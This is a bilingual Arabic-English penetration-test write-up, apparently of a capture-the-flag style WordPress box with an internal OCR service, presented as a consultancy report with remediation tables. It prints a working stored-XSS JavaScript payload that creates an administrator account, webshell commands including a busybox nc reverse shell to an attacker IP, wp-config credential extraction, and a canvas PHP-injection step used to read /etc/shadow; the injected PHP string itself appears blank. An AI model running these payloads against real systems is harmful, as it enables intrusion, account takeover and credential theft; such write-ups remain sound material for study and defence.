Share
## https://sploitus.com/exploit?id=0FFC6A60-5535-549F-9172-7AE6235BF0D0
# ─── Internal Web Application & OCR Service ───









# 🛡️ AMN SECURITY 🛡️
### Offensive Security Consultancy | استشارات الأمن الهجومي
### Cyber Security Research Center | مركز أبحاث الأمن السيبراني

**Engagement Type:** Web Application & Internal Service Penetration Test  
**Assessment Date:** Q2 2026  
**Methodology:** PTES + OWASP Testing Guide v4.2  

---

# 🇸🇦 القسم العربي

## اختبار اختراق شامل لتطبيق ويب وخدمة OCR داخلية
### Internal Web Application & OCR-Based Internal Service Assessment | CVSS 9.1 | حرجة جداً

---

### 📋 الملخص التنفيذي

تم إجراء اختبار اختراق شامل لتطبيق ويب يعمل بنظام WordPress وخدمة OCR داخلية مكشوفة على منفذ داخلي. تم اكتشاف سلسلة من الثغرات التي أدت إلى اختراق كامل للنظام. بدأ الهجوم بتحليل ملف صوتي مسرب داخل نظام WordPress أدى إلى استخراج بيانات اعتماد صالحة، تلاه استغلال ثغرة XSS مخزنة لإنشاء حساب مسؤول، ثم رفع إضافة خبيثة للحصول على شيل عكسي، وانتهاءً باختراق خدمة OCR داخلية عبر حقن كود PHP للحصول على صلاحيات الجذر.

**النتيجة النهائية:** سيطرة كاملة على النظام — وصول جذر (Root) مع إثبات الاختراق.

---

### 🔍 تفاصيل الهدف

| الخاصية | القيمة |
|---------|--------|
| نوع التطبيق | WordPress CMS + خدمة OCR داخلية |
| إصدار WordPress | 7.0 |
| الخوادم | Apache httpd 2.4.58, Node.js (internal OCR) |
| SSH | OpenSSH 9.6p1 |
| المستخدمون المكتشفون | jake, admin, walter |

---

### 🗺️ سلسلة الهجوم الكاملة

```
Phase 1 ─► WordPress Enumeration → ملف صوتي يحتوي على بيانات اعتماد jake
Phase 2 ─► XSS مخزنة → إنشاء مستخدم Admin → رفع إضافة Webshell
Phase 3 ─► Webshell → شيل عكسي → wp-config → التبديل إلى walter
Phase 4 ─► خدمة OCR داخلية (port 8001) → Canvas PHP Injection → Root
```

---

### 💥 المرحلة 1: استغلال WordPress وجمع المعلومات

#### تحليل الملف الصوتي

أثناء فحص رفع الملفات في WordPress، تم اكتشاف ملف صوتي في المسار `/wp-content/uploads/2026/01/`. تم تحميل الملف وتحليله باستخدام أداة التعرف على الصوت `faster_whisper`، واستخرجنا النص التالي:

```
"Hey this is Jake. I'm testing the new feature and it's exciting. I'm going there. 
 Oops. Login. Um, Jake. Clear. Light. Ice. Smooth. 4. 9. 2. 3."
```

**كلمة المرور المستخلصة:** `ClearLightNiceSmooth4923`

#### فحص WordPress

```bash
wpscan --url https://target.domain/ --enumerate --disable-tls-checks
# تم اكتشاف المستخدمين: jake, admin, walter
```

---

### 💉 المرحلة 2: ثغرة XSS مخزنة وإنشاء Admin

تم استغلال ثغرة XSS مخزنة في نموذج التواصل لحقن كود JavaScript يقوم بإنشاء مستخدم مسؤول جديد:

```javascript

fetch('/wp-admin/user-new.php').then(r=>r.text()).then(h=>{
  let n=h.match(/name="_wpnonce_create-user" value="([a-f0-9]+)"/)?.[1];
  if(n){
    let b=new URLSearchParams({
      action:'createuser', '_wpnonce_create-user': n,
      user_login:'operator', email:'test@mail.com',
      pass1:'P@ssw0rd!', role:'administrator', createuser:'Add New User'
    });
    fetch('/wp-admin/user-new.php',{method:'POST',
      headers:{'Content-Type':'application/x-www-form-urlencoded'}, body:b
    }).then(r=>console.log('ok',r.status))
  }
}).catch(e=>console.error(e))

```

بعد تسجيل الدخول بحساب المسؤول الجديد، تم رفع إضافة Webshell:

```bash
# تحميل webshell plugin من المصدر المفتوح
# الدخول إلى Dashboard → Plugins → Add New → Upload Plugin

# تأكيد التنفيذ
curl -k 'https://target.domain/wp-content/plugins/wp_webshell/wp_webshell.php?action=exec&cmd=id'
# uid=33(www-data)

# شيل عكسي
curl -k 'https://target.domain/wp-content/plugins/wp_webshell/wp_webshell.php' \
  '?action=exec&cmd=busybox%20nc%2010.10.X.X%204444%20-e%20sh'
```

---

### 🔑 المرحلة 3: الوصول إلى النظام

#### استخراج بيانات wp-config

```bash
cat /var/www/html/wp-config.php
define( 'DB_USER', 'walter' );
define( 'DB_PASSWORD', 'JbhHDAEgXvri3!' );
```

تم التبديل إلى المستخدم `walter` باستخدام كلمة المرور المستخلصة من قاعدة البيانات:

```bash
su walter
```

**إثبات اختراق المستخدم (User Flag):** `1e9d5989f24cf2976634999940266014`

---

### 👑 المرحلة 4: رفع الصلاحية إلى Root

#### اكتشاف الخدمة الداخلية

بعد الحصول على وصول SSH، تم اكتشاف خدمة OCR داخلية تستمع على المنفذ 8001 (127.0.0.1):

```bash
ss -plantu | grep 8001
```

تم إنشاء نفق SSH لتعريض الخدمة محلياً:

```bash
ssh -N -L 8001:127.0.0.1:8001 walter@target.ip
```

#### تحليل تطبيق OCR

التطبيق يسمح للمستخدم بالرسم على Canvas ويقوم الـ OCR بتحويل النص المرسوم إلى نص مخرن كملف. تم اكتشاف أن الملفات تُحفظ بامتداد `.php` في مجلد `/saved/`.

#### حقن PHP عبر Canvas

تم استخدام JavaScript لحقن كود PHP على Canvas:

```javascript
let a = document.getElementById('canvas').getContext('2d');
a.font = "15px Arial";
a.fillStyle = "red";
a.fillText("", 10, 30);
```

بعد الحفظ، تم الوصول إلى webshell:

```bash
curl 'http://127.0.0.1:8001/saved/a.php?cmd=cat%20/etc/shadow'
```

**إثبات اختراق الجذر (Root Flag):** `8b178be960e498dce53994f188ae65ea`

---

### 🛡️ الإجراءات العلاجية

#### 🔴 حرجة — إجراء فوري

| # | المشكلة | التوصية |
|---|---------|---------|
| 1 | رفع ملف صوتي بدون تحقق في WordPress | تعطيل رفع الملفات للمستخدمين غير الموثوقين، تفعيل فحص المحتوى |
| 2 | XSS مخزنة في نموذج التواصل | تعقيم المدخلات، استخدام Content Security Policy |
| 3 | خدمة OCR داخلية بدون مصادقة | إضافة مصادقة قوية، تقييد الوصول عبر firewall |
| 4 | حفظ الملفات بامتداد .php | التحقق من امتدادات الملفات المسموحة، عدم تنفيذ PHP في مجلد الرفع |

#### 🟠 عالية الأولوية

| # | المشكلة | التوصية |
|---|---------|---------|
| 5 | كلمة مرور jake في ملف صوتي | عدم تخزين معلومات حساسة في ملفات الوصول العام |
| 6 | استخدام نفس كلمة المرور لـ DB و SSH | فصل صلاحيات قواعد البيانات عن صلاحيات النظام |
| 7 | عدم تقييد الوصول للخدمات الداخلية | استخدام iptables/nftables لحصر الوصول المحلي |

---

### 👥 فريق AMN SECURITY

| العضو | الدور |
|-------|-------|
| AMN Research Team | اكتشاف الثغرات وتحليلها |
| AMN Exploitation Team | تطوير الإكسبلويت |
| AMN Defense Team | الإجراءات العلاجية |

---

### Connect with AMN SECURITY — تابعنا

**Website:** [https://amn.amnoffsec.workers.dev/](https://amn.amnoffsec.workers.dev/)  
**Email:** ayman.mahmoudoffsec@gmail.com  
**Location:** Iraq — Clients Worldwide

---

# 🌐 ENGLISH SECTION

## Internal Web Application & OCR Service — Penetration Test Report

### WordPress 7.0 + Internal OCR Canvas Service | CVSS 9.1 | CRITICAL

---

### 📋 Executive Summary

A comprehensive penetration test was conducted against an organization's web application (WordPress CMS) and an internal OCR-based service. The attack chain began with analyzing an exposed audio file in WordPress uploads containing plaintext credentials, followed by a Stored Cross-Site Scripting (XSS) payload to escalate privileges to Administrator within WordPress, uploading a malicious plugin for Remote Code Execution, establishing a reverse shell, pivoting to an internal OCR canvas service, and ultimately achieving root-level access via PHP code injection through the unsanitized OCR output.

**Final Result:** Complete system compromise — root access confirmed.

---

### 🔍 Target Overview

| Property | Value |
|----------|-------|
| Application Type | WordPress CMS + Internal OCR Service |
| WordPress Version | 7.0 |
| Server Stack | Apache httpd 2.4.58, Node.js (internal OCR) |
| SSH | OpenSSH 9.6p1 |
| Users Discovered | jake, admin, walter |

---

### 🗺️ Attack Chain

```
Phase 1 ─► WordPress Recon → Audio file leaked jake's credentials
Phase 2 ─► Stored XSS → Admin account creation → Webshell plugin upload
Phase 3 ─► Reverse shell → wp-config extraction → Switch to walter
Phase 4 ─► Internal OCR service (port 8001) → Canvas PHP injection → Root
```

---

### 💥 Phase 1: WordPress Exploitation & Information Gathering

#### Audio File Analysis

While examining WordPress uploads, an audio file was discovered in `/wp-content/uploads/2026/01/`. Using `faster_whisper` for speech-to-text extraction, the following credentials were recovered:

```
"Hey this is Jake. I'm testing the new feature... Clear. Light. Ice. Smooth. 4. 9. 2. 3."
```

**Extracted Password:** `ClearLightNiceSmooth4923`

---

### 💉 Phase 2: Stored XSS — Admin Account Creation

A Stored XSS vulnerability in the contact form was exploited to inject JavaScript that creates a new Administrator user:

```javascript
// XSS payload — creates a new WordPress admin user
fetch('/wp-admin/user-new.php').then(r=>r.text()).then(h=>{
  let n=h.match(/name="_wpnonce_create-user" value="([a-f0-9]+)"/)?.[1];
  // ... POST to create administrator
});
```

After authentication as the newly created admin, a webshell plugin was uploaded via the WordPress plugin uploader:

```bash
# Verify code execution
curl -k 'https://target.domain/wp-content/plugins/wp_webshell/wp_webshell.php?action=exec&cmd=id'
# uid=33(www-data)

# Establish reverse shell
curl -k 'https://target.domain/wp-content/plugins/wp_webshell/wp_webshell.php' \
  '?action=exec&cmd=busybox%20nc%2010.10.X.X%204444%20-e%20sh'
```

---

### 🔑 Phase 3: System Access

#### wp-config Credential Extraction

```bash
cat /var/www/html/wp-config.php
define( 'DB_USER', 'walter' );
define( 'DB_PASSWORD', 'JbhHDAEgXvri3!' );
```

Password reuse allowed switching to the `walter` user:

```bash
su walter
```

**User Flag (Proof of Compromise):** `1e9d5989f24cf2976634999940266014`

---

### 👑 Phase 4: Root Privilege Escalation

#### Internal Service Discovery

Post-exploitation enumeration revealed an internal OCR service listening on localhost:8001:

```bash
ss -plantu | grep 8001
```

SSH tunnel established for local access:

```bash
ssh -N -L 8001:127.0.0.1:8001 walter@target.ip
```

#### OCR Canvas — PHP Injection

The OCR application renders user-drawn text from an HTML5 Canvas and saves the output as `.php` files. By injecting PHP code as canvas text, the resulting saved file functioned as a webshell:

```javascript
// Inject PHP code via Canvas
let ctx = document.getElementById('canvas').getContext('2d');
ctx.font = "15px Arial";
ctx.fillStyle = "red";
ctx.fillText("", 10, 30);
```

**Root Flag:** `8b178be960e498dce53994f188ae65ea`

---

### 🔐 Remediation Recommendations

| Priority | Issue | Recommendation |
|----------|-------|----------------|
| Critical | Audio file exposed credentials | Restrict upload directory permissions, sanitize uploaded content |
| Critical | Stored XSS in contact form | Input sanitization, implement Content Security Policy |
| Critical | Internal OCR service lacks authentication | Add strong authentication, restrict via firewall |
| Critical | PHP files writable in web root | Disable PHP execution in upload directories |
| High | Password reuse across services | Implement separate credentials for DB and system accounts |
| High | Exposed sensitive data in uploads | Proactive scanning of public directories |

---

### 👥 AMN SECURITY Team

| Member | Role |
|--------|------|
| AMN Research Team | Vulnerability discovery & analysis |
| AMN Exploitation Team | Proof of Concept development |
| AMN Defense Team | Remediation guidance |

---


  AMN SECURITY — Offensive Security Consultancy
  Iraq — Clients Worldwide